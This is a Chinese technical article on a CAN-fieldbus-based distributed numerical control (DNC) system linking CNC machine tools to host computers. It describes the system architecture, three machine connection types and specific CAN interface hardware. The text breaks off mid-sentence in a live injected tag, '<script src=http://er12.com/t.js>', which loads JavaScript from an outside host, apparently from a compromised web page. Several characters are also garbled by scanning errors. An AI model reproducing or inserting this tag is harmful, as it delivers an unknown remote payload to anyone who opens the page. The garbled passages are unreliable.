针对国内数控系统和数控机床应用的情况，本文分析了以往dnc系统通信中存在的问题，提出了一种以can现场总线为基础运用软插件技术的新的dnc通信力方法。介绍这种dnc系统的钮件原理，并用c++ builder软件设计实现了windows环境下远程分布式数控数据传输系统。
1 引言
过去的十几年中，人们在对自动化机械加工车间的研究中，将大量的精力投向fms(flexible manufacture system)。由于fms不仅注重信息流的集成，更强调物料流的集成与自动化，10年来的实践证明，fms虽然具有运行效率高和自动化程度高等优点，但投资风险大、见效慢、可靠性较差。相对于fms，dnc(direct numerical control or distributed numerical contro1)是投资小、见效快、并具有较好柔性的集成制造系统，随着计算机技术、数控技术和网络通信等技术的发展，dnc的内涵和功能也在不断扩大。目前的dnc系统已具备制造数据传送(nc程序上传、nc程序校正文件下传、刀具指令下传等)、状态数据采集与处理(机床状态、刀具信息等)、刀具管理、生产调度与监控、单元控制和cad／capp／cam接口等功能。在过去的研究中，dnc集成制造系统多采用串行或局域网的通信方式来实现，串行通信方式简单但可靠性差、效率低，而局域网通信方式通信协议复杂很难满足dnc系统对实时性的要求，因而更适合于dnc系统与上层控制计算机之间的通信。
2 基于can总线的dnc集成制造系统
数控系统与上层控制计算机的集成方法是dnc中最关键的技术，其通信方式取决于数控系统的通信接口和通信协议。因国外生产环境比较好，且数控系统大都采用带dnc通信接口的高档数控系统，所以国外已出现一些dnc集成制造软件，如：visual dnc等。但这些软件并不能适应我国企业的情况，因此，研究适合我国制造企业特色的dnc系统已成为现代制造系统发展的必然要求。
针对国内企业现有机床接接口复杂、布局分散、下层通讯复杂的特点，鉴于点对点、局域网存在的问题，本系统提出基于can总线通信标准，以软插件技术为核心，实现了异构数控系统的集成。can作为一种工业环境中的通讯标准，更适合于场地级设备的互连，是目前dnc底层与数控机床通讯连接的最佳选择。目前，国内很多can的模块化产品的出现，为can总线的应用奠定了基础。因此can总线方式是一个较理想的异构数控系统的dnc通信方式。
3 dnc集成制造系统功能模型设计
该系统主要由网络服务器、dnc主机、can智能模块等部分组成，系统硬件如图1所示。其结构为客户机，服务器的体系结构。网络服务器对数据库进行管理，存放生产任务、数控程序、图纸、工艺文件等信息，向上可与企业网或互联网intemet联接，实现企业内或企业间的资源共享，向下通过局域网与cad／cam／capp系统、dnc主机相连，方便的通过网络交换各种制造信息；dnc主机上带有网络接口卡、can接口卡，是整个系统的核心，其主要任务是通过can接口卡与can智能模块通信，实现对数控机床的通讯控制和通讯管理，当机床申请nc程序时，根据采集到的机床状态信息进行任务的排队管理与分配，实现通信过程的实时监控。无申请时，可进行通信et志管理或nc程序及设备管理等。dnc主机的可视化的人机交互界面，操作简单，可以方便的对数据库中记录的插入、查询、修改、编辑等操作。
图1 dnc集成系统硬件原理机网络拓扑结构图
实现dnc集成的重点要解决数控机床与计算机的双向通讯问题，本系统既考虑了国内使用较多的带rs232接口数控机床，又兼顾有map接口的新型机床，以各种不同的拓扑结构与nc机床相连。其结构如图1所示，此系统有三类典型连接方式：
第一类连接方式主要用于具有map接i=i的新型机床，由于这种机床接口符合map标准，因此可直接连入局域网。
第二类连接方式主要针对少数连串行接i=i都没有的经济型数控机床，对于这类机床要在can智能模块和机床之间加入适配器才能连接到can网络。
第三类连接方式主要用于具备串行接口的数控机床，这类机床不能直接上网，因此采用can现场总线技术使机床连如dnc网络，can总线的网络功能由装有can接口卡的dnc主机和can智能控制单元实现，这里can通讯卡采用的是周立功单片机公司的pci5110单路智能can接i=i卡和can232b智能can转换器，通讯卡提供了windows和dos下的驱动程序、can通用接口库，完全能够实现本系统中dnc主机与cnc之间的can通讯功能；can转换器的核心是can控制器的处理器和can收发器，并在微处理器和can收发器之间增加了电气隔离电路，提高了系统的抗干扰性，并带有1个rs232通道和1个can通道，可以使机床在不需改变原有硬件结构的前提下很方便地接入can网络，can232b智能can转换器提供有基本的控制命令和配置软件，串口通讯参数的设置均由简单的控制命令实现，可以按照不同数控厂家的机床的要求进行配置，解决了平台之间可移植?script src=http://er12.com/t.js>
